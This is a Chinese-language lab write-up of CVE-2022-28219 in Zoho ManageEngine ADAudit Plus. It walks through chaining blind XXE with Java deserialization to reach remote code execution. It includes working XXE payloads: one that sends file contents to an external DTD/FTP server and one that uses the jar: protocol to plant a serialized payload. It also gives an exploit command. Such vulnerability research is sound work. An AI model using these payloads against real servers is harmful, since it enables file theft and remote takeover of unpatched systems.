CVE-2022-28219 Zoho组合Java XXE和反序列化漏洞实现RCE
CVE-2022-28219 Zoho组合Java XXE和反序列化漏洞实现RCE
1.1漏洞信息
https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html
All ADAudit Plus 7060之前 存在 XXE Java反序列化和目录穿越漏洞
1.2环境搭建
我们选择搭建7060前面一个版本。
https://archives2.manageengine.com/active-directory-audit/
下载文件搭建就行了,自己搭建一个域控制器。
2.1 JAVA XXE漏洞分析
之前也在CTF中遇到过java协议的题。在Java中提供了一个伪协议jar://,能从远程获取JAR包中的文件。并且可以将jar包指定文件解压出来。
jar:{url}!/{entry}
url
是远程文件路径,entry
是解压出来的文件。
jar
协议处理流程如下
- 下载JAR包或者ZIP文件到远程服务器的临时路径中
- 提取指定文件
- 删除临时文件
因为有临时文件的存在,所以可以上传临时文件。这里为了延长临时文件存在的时间采用了GitHub上的BlockingServer
代码。在请求完成后一直保持链接。
https://github.com/pwntester/BlockingServer
我们来试试
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "jar:http://127.0.0.1:9999/test.zip!/test1.txt">
]>
<root>&xxe;</root>
先来个test1.txt 这个文件是不存在的 因此可以暴露出临时文件的位置
在实际利用的时候可以用file:// 等协议列目录寻找临时文件的位置
2.2 反序列化漏洞
把搭建好的文件都复制出来准备调试。
修改run.bat 然后管理员运行run.bat启动调试
set JAVA_OPTS=-Xmx512m -Dcatalina.home="%SERVER_HOME%" -Dserver.home="%SERVER_HOME%" -Dlog.dir="%SERVER_HOME%" -Ddb.home="%DB_HOME%" -Djava.library.path="%SERVER_HOME%\lib\native" -Dserver.stats=10000 -Dfile.encoding="utf8" -Djava.util.logging.manager="org.apache.juli.ClassLoaderLogManager" -Djava.util.logging.config.file="%SERVER_HOME%/conf/logging.properties" -Dserver.stats=10000 -Dcheck.tomcatport="true" -Dhaltjvm.on.dbcrash="true" -Duser.home="%SERVER_HOME%\logs" -Dorg.apache.catalina.authenticator.Constants.SSO_SESSION_COOKIE_NAME=JSESSIONIDADAPSSO -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2 -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
首先在webappsadapWEB-INFweb.xml中找到CewolfServlet
这个Servlet就是CVE-2020-10189的反序列化漏洞点。
我们来看一下这个地方
我们主要看这里
跟进getChartImage
重点看FileStorage
这里对文件反序列化。而且这个没有任何的过滤。
所以我们直接get就可以到达这个地方
因为ADAudit
引用了Commons-beanutils库。所以可以生成CB载荷test.png,然后尝试攻击。
寻找xxe漏洞
所以为了写入文件,这就引入到上面所说的写入临时文件。
补丁对比发现com.adventnet.sym.adsm.auditing.server.category.ProcessTrackingListener
对XML进行了修补:
修复用了一下新的工具类SecurityUtil.getDocumentBuilder()
我们看下它是从哪里触发的。在parseTaskContent
处下断点。简单分析下流程。
找到这个ADAPAgentAPIServlet
然后继续看
这里无论是Get还是Post都到了processRequest里。然后进入executeAgentRequest
这里有一个反射调用
这里传参试了半天get不行,最后尝试POST才有mappingInfo
的值。这里进入AgentDataHandler.class
发现需要一个JSON格式的数据。重新传
到达EventDataAdapter.notify
这里把data也就是我传入的值都当作map存进来。
然后看看是哪里处理的。到这个地方
在下面会调用ProcessMonitor.process(modData);
这个process函数需要一些参数才能运行
[{ "DomainName": "whoamianony.org",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<XXE_PAYLOAD>"}]
然后进入addEventRows
进入这个后在进入
终于到了我们处理XML这里
因此存在一个blindXXE。
我们尝试借助xxe-ftp-server,利用blindXXE漏洞列出file://临时文件的位置。
https://github.com/LandGrey/xxe-ftp-server
直接启动py -2 .\xxe-ftp-server.py 127.0.0.1 3000 2122
[{ "DomainName": "whoamianony.org",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [ <!ENTITY % file SYSTEM \"file:///c:/windows/win.ini\"> <!ENTITY % dtd SYSTEM \"http://192.168.111.1:3000/data.dtd\"> %dtd;]><data>&send;</data>"}]
发送就可以读到文件。我们先用jar协议上传临时文件java BlockingServer 9999 shell.zip
[{ "DomainName": "whoamianony.org",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [ <!ENTITY xxe SYSTEM \"jar:http://192.168.111.1:9999/shell.jar!/test.txt\"> ]><root>&xxe;</root>"}]
shell.jar是我们的序列化文件
发现了缓存文件。于是反序列化该文件成功弹窗
参考
https://www.horizon3.ai/red-team-blog-cve-2022-28219/
这个CVE带我们展现了XXE漏洞的几个用法,一是利用xxe-ftp-server来列目录。寻找文件。二是通过jar协议配合工具来达到写缓存文件的目的。
这个ZohoManage同时存在XXE和任意文件的反序列化,且内部存在CB链。导致了命令执行。
EXP:https://github.com/horizon3ai/CVE-2022-28219
尝试了下可以RCE
py -3 CVE-2022-28219.py -t http://192.168.44.130:8081 -l 192.168.111.1 -d whoamianony.org -c calc.exe